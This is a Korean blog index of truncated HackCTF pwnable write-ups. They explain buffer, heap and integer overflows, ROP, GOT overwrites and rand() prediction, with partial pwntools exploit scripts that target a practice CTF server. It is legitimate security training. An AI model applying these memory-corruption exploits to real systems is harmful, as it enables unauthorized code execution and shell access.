목록시스템 해킹/HackCTF (28)
ii4gsp
IDA로 파일을 열어보면 main()함수에서 vuln()함수를 호출한다. get_n()함수로 nptr애 4byte만큼 입력할수있다. 입력한 4byte를 atoi()함수로 정수로 바꿔 v2에 저장한다. v2가 32보다 크면 return이 실행되고 프로그램이 종료된다. v2에 언더플로우를 일으키면 if문을 통과하게되고 get_n()함수로 ret를 덮을수있다. system - printf = 0xe6e0 system - "/bin/sh" = 0x11e6eb printf의 주소를 leak해서 실제주소를 알아내고, system()함수와 "/bin/sh"를 구해주면 된다. Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3019) e = ELF('/home/ii..
파일을 다운받아 주자. IDA로 파일을 열어보면 printf()함수로 2개의 주소를 출력해준다. binsh는 그냥 binsh라는 변수명을 가진 변수이다. s는 0x84 즉, 132byte만큼 할당되었고, ret까지는 136byte이다. exploit에서 gets()함수를 사용할것이다. pop ret gadget을 찾으면된다. pop ret = 0x80484ad Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3018) e = ELF('/home/ii4gsp/HackCTF/gift') gets = e.plt['gets'] pr = 0x80483ad r.recvuntil('Hey guyssssssssss here you are: ') binsh = int..
파일을 다운받아 주자. IDA로 열어보면 main()함수에서 look_at_me()함수를 호출한다. look_at_me()함수에서 gets()함수로 입력을받는다. v1은 0x18 즉, 24byte만큼 할당되었다. 이 파일은 NX-bit 보호기법이 걸려있다. 그리고 Dynamic Link Libc방식이 아닌 Static Link Libc라서 프로그램 내부에 함수가 많이 존재한다. NX-bit 보호기법때문에 쉘 코드를 실행시키지 못하는데 프로그램 내부 함수중에 mprotect()함수가 존재한다. mprotect()함수는 메모리 영역의 권한을 바꿀 수 있도록 해주어 인자에 7을 주면 RWX권한이 모두 주어진다. mprotect()함수로 bss영역에 권한을주고 쉘 코드를 올려 실행시키면 된다. Exploit f..
Heap Overflow 문제이다. 파일을 다운받아 주자. v3, v4에 각각 0x10 즉, 16byte만큼 할당되었다. v3 + 1, v4 + 1에 8byte를 또 할당한다. 그리고 fgets()함수로 4096byte만큼 입력을받고 strcpy()함수로 v3 + 1, v4 + 1에 복사를한다. 0x400826()함수는 flag를 출력해준다. v3 + 1에 heap overflow를 일으키고 v4 + 1에 exit의 got를 0x400826()함수로 덮어주면 된다. Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3016) e = ELF('/home/ii4gsp/HackCTF/beginner_heap.bin') payload1 = '' payload1..
파일을 다운받아 주자. gets()함수로 입력을받고 check_passcode()함수의 인자로 입력한 값이 전달되고 check_passcode()함수의 인자와 hashcode의 값이 같으면 core()함수를 호출한다. hashcode의 값은 0xC0D9B0A7 이다. check_passcode()함수를 보면 주소를 4byte씩 증가시키며 값을 읽어 v2에 더하고 v2를 return한다. hashcode의 값 0xC0D9B0A7을 5번 나누어서 전달하면 된다. C0D9B0A7을 5로 나누면 0x2691F021이 나온다. 다시 곱하기 5를하면 C0D9B0A7에서 2가 마이너스된 C0D9B0A5가 나온다. 0x2691F021을 4번 전달하고 +2의 값을 전달해주면 된다. core()함수는 dlsym()함수를 ..
파일을 다운받아 주자. IDA로 열어보면 rand()함수로 받아온 값을 v5에 저장하고 scanf()함수로 v4에 입력을한다. 입력한 값과 rand()함수로 받아온 값 v5를 비교하고 같으면 flag를 출력해준다. #include #include #include int main() { srand(time(0)); printf("%d\n", rand()); } C언어로 똑같이 time을 0으로해주고 rand()함수로 값을 출력해주면 같은 시간의 값이되므로 비교 결과가 같을것이다. gcc로 컴파일 해주자. Exploit from pwn import * from ctypes import * r = remote('ctf.j0n9hyun.xyz', 3014) c = CDLL("/lib/x86_64-linux-gn..
파일을 다운받아 주자. IDA로 열어보면 cin으로 name에 입력을 받는다. name은 0x410 즉, 1040만큼 할당되었다. SFP 8byte를 더하여 1048byte dummy를 넣어주고 쉘을 실행해주는 spawn_shell()함수의 주소를 넣어주면 된다. spawn_shell()함수의 주소는 0x0000000000400897 이다. Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3013) payload = '' payload += '\x90' * 1048 payload += p64(0x0000000000400897) r.sendline(payload) r.interactive() 소스코드를 작성해주자.
파일을 다운받아 주자. IDA로 파일을 열어보면 get_poem(), get_author(), rate_poem()함수가 차례대로 실행되고, dword_6024E0가 1000000이라면 무한루프를 빠져나간다. reward()함수는 flag를 출력해준다. rate_poem()함수를 보면 s1에 "ESPR", "eat", "sleep" 등의 값이 있으면 dword_6024E0의 값을 100 증가시킨다. 하지만 get_poem()함수를 보면 dword_6024E0의 값을 0으로 초기화시킨다. get_author()함수를 보면 gets()함수로 입력을받는다. 두 변수의 주소이다. unk_6024A0와 dword_6024E0의 거리는 64byte차이가 난다. get_poem()함수에서 아무값이나 입력하고 get_..